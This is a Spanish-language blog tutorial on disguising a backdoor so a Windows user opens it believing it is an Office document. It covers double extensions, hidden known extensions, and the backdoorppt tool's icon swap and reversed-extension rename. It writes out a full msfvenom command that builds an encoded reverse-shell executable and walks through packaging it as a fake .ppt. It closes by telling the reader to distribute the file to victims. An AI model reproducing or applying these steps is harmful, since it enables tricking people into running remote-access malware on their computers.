Ingeniería Social: Camuflando un payload

Una de las cosas que a veces necesitamos es camuflar un backdoor, para que el usuario confíe en el fichero y lo ejecute.

Para generar payloads tenemos múltiples métodos, por ejemplo, podemos utilizar msfvenon para crearlos. Con el framework Hercules podemos crear payloads, que permiten saltar diferentes antivirus. Sin embargo, estos payloads son ficheros .exe, lo que puede hacer sospechar al usuario y no ejecutarlos.

Una de las características que posee Windows, activadas por defecto (y que todos deberíamos desactivar) es ocultar las extensiones de ficheros conocidos. Esta característica nos permite cambiar el nombre de un fichero, estableciendo dos extensiones, de manera que sólo se oculta la última. Esto hace que el usuario final crea que está abriendo un fichero no ejecutable cuando, en realidad, sí lo es. Por ejemplo, suponiendo que hemos generado un payload con el nombre backdoor.exe, bastaría cambiar el nombre por backdoor.doc.exe. El usuario, en su explorador de ficheros, sólo vería backdoor.doc. Aún así queda el tema del icono. También debería cambiarse para que aparentera ser, en realidad, un .doc.

Este «truco» es válido cuando el usuario no ha cambiado la opción por defecto de ocultar las extensiones. En realidad, la mayor parte de usuarios finales, no cambian este valor. Por supuesto, si la ha cambiado, será muy fácil la detección del fichero.

¿Cómo podemos resolver esto?

Bien, en BlackArch, tenemos la herramienta  backdoorppt . Esta herramienta se apoya en resourcehacker y ruby para conseguir nuestro objetivo: cambiar el icono del fichero y ocultar la extensión, de manera que el usuario final crea que es un documento de Office. En KaliLinux no está incluida en la distribución pero funciona.
Lo primero que hace es cambiar el icono de nuestro payload. Para ello utiliza resourcehacker, con lo que es necesario disponer de wine en nuestro sistema. Una vez hecho esto, dispone de dos métodos para camuflar que el fichero es ejecutable. El método explicado anteriormente, es uno de ellos. Sin embargo, no es el método por defecto utilizado.
El método utilizado por defecto es el que se explica aquí . La ventaja de utilizar la herramienta, es que automatiza el proceso. Como puede verse, utiliza la función file.rename de Ruby, para conseguir el objetivo. En este caso, si que sólo es visible una extensión desde el explorador de archivos de Windows aunque, desde una consola, sí es posible ver que, realmente, es un .exe.

Bueno, ya hemos visto la teoría. Veamos si esto funciona en nuestra Kali. Lo primero de todo, clonar el proyecto:

git clone https://github.com/r00t-3xp10it/backdoorppt
cd backdoorppt

Por defecto, utiliza la opción de ruby para camuflar la extensión, pero no cambia el icono. Si queremos cambiar el icono, editamos el fichero settings y establecemos el valor de RESOURCEHACKER_BYPASS a YES:

Ahora, generamos un payload:

msfvenom -a x86 –platform windows -p windows/shell/reverse_tcp LHOST=192.168.1.188 LPORT=1234 -b «\x00» -e x86/shikata_ga_nai -f exe -o /tmp/documento.exe

En LHOST ponemos la IP de nuestra Kali. En este escenario, el equipo Windows está en la misma red que la Kali.

Ejecutamos el script:

./backdoorppt.sh
Comprobará los requerimientos y si falta alguno, lo instalará. Dado que está preparado para sistemas Debian, en KaliLinux, deberían instalarse las dependencias sin problemas. Lo normal es que estén todas. Nos aparece una ventana, para que indiquemos dónde está el ejecutable. En nuestro caso, en /tmp/documento.exe:

Hecho esto, nos pide el nombre final del fichero. En este caso, confidencial:

Cuando termina, podemos ver que en el navegador de ficheros el nombre aparece como confidencialexe.ppt y en el terminal, como confidencial?tpp.exe

 

Ya solo falta distribuir el fichero y que el usuario lo abra en el sistema Windows.

Como podemos ver, la herramienta es muy útil para automatizar el camuflaje de nuestros payloads.

¡Espero que os haya gustado! 😉

 

 

 

@MMontesDiaz